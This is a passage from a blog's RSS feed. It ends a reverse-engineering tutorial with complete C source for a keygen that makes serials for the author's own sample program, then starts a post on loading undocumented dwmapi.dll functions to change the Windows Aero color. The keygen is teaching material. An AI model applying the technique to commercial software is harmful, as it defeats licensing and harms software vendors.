class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;temp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%d-%d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Complete keygen:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#define MAX_NAME_LEN 20 &lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;generateSerial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;temp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;temp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%d-%d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MAX_NAME_LEN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Enter your name: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcspn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos;\0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// calculate serial for the given name&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;generateSerial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Serial: %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tejashwi&lt;/code&gt;, the keygen returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;20-923&lt;/code&gt;. Let’s verify:&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/intro-reverse-engineering/done.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/intro-reverse-engineering/done.png&quot; alt=&quot;Keygen success verification&quot; class=&quot;&quot; width=&quot;520&quot; height=&quot;185&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;Download the sample application and keygen source &lt;a href=&quot;/assets/files/intro-reverse-engineering/reverse-engineering-sample.zip&quot;&gt;here&lt;/a&gt; (password: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tejashwi.io&lt;/code&gt;)&lt;/p&gt; &lt;h2 id=&quot;going-further&quot;&gt;Going Further&lt;/h2&gt; &lt;p&gt;This was a simple example. If you want to go deeper:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Get comfortable with C&lt;/li&gt; &lt;li&gt;Learn x86 assembly basics&lt;/li&gt; &lt;li&gt;Understand Windows PE file format&lt;/li&gt; &lt;li&gt;Check out &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Lena151&lt;/code&gt;’s video tutorials on Windows reverse engineering: &lt;a href=&quot;https://tuts4you.com/e107_plugins/download/download.php?list.17&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Also read &lt;a href=&quot;https://lifeinhex.com/tag/lena151/&quot; target=&quot;_blank&quot;&gt;https://lifeinhex.com/tag/lena151/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;For a smaller, practical example of the same habit, I used it to find undocumented functions in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dwmapi.dll&lt;/code&gt; and &lt;a href=&quot;/changing-windows-aero-color-win32-programming/&quot;&gt;change the Windows Aero color from code&lt;/a&gt;. For a hostile one, I pulled apart &lt;a href=&quot;/git-hook-trojan-supply-chain-malware/&quot;&gt;malware a client shipped me inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt; </description> <pubDate>Wed, 14 Aug 2019 00:00:00 +0000</pubDate> <link>https://tejashwi.in/introduction-to-software-reverse-engineering/</link> <guid isPermaLink="true">https://tejashwi.in/introduction-to-software-reverse-engineering/</guid> <category>reverseengineering</category> <category>decompile</category> <category>windows</category> <category>Reverse Engineering</category> <category>Windows</category> </item> <item> <title>Changing Windows Aero color with Win32 programming</title> <description>&lt;p&gt;Windows Vista introduced the Desktop Window Manager (DWM), which uses hardware acceleration for the UI and enables the Aero glass effects. Each program writes to its own buffer, and DWM composites them into the final image. This requires a DirectX-compatible GPU with WDDM drivers.&lt;/p&gt; &lt;p&gt;Most ways to change the Aero color require either switching themes or restarting dwm.exe. But there’s another way.&lt;/p&gt; &lt;h2 id=&quot;finding-the-hidden-apis&quot;&gt;Finding the Hidden APIs&lt;/h2&gt; &lt;p&gt;This is the sort of thing you find by reading a binary rather than the documentation, which I cover separately in &lt;a href=&quot;/introduction-to-software-reverse-engineering/&quot;&gt;an introduction to software reverse engineering&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;While poking around, I found &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dwmapi.dll&lt;/code&gt; in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system32&lt;/code&gt; folder. It handles all DWM-related API calls. Dumping the DLL revealed three functions of interest:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;DwmIsCompositionEnabled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Documented API, checks if DWM composition is enabled&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;DwmGetColorizationParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// At index 127, undocumented&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;DwmSetColorizationParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// At index 131, undocumented&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;The first function is documented. The other two aren’t officially supported, which means Microsoft could change or remove them anytime.&lt;/p&gt; &lt;h2 id=&quot;loading-the-functions&quot;&gt;Loading the Functions&lt;/h2&gt; &lt;p&gt;Since these are undocumented, we can’t use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dwmapi.h&lt;/code&gt; header directly. Instead, load the DLL at runtime:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;HMODULE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hDwmDLL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LoadLibrary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;dwmapi.dll&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Loads the DWM DLL&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDwmDLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MessageBox&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Unable to load DWM Library!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MB_ICONERROR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EndDialog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Then get the function addresses. For the undocumented ones, use their index numbers:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;// Needed Function from DWM Library&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HRESULT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WINAPI&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmIsCompositionEnabled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BOOL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pfEnabled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HRESULT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WINAPI&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmSetColorizationParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;COLORIZATIONPARAMS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colorparam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UINT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unknown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HRESULT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WINAPI&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmGetColorizationParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;COLORIZATIONPARAMS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colorparam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Everything is fine up to here, we can get function address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FARPROC&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmIsCompositionEnabled&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetProcAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDwmDLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;DwmIsCompositionEnabled&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//Below two functions are undocumented thus load from there index&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FARPROC&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmGetColorizationParameters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetProcAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDwmDLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FARPROC&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmSetColorizationParameters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetProcAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDwmDLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPCSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;131&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 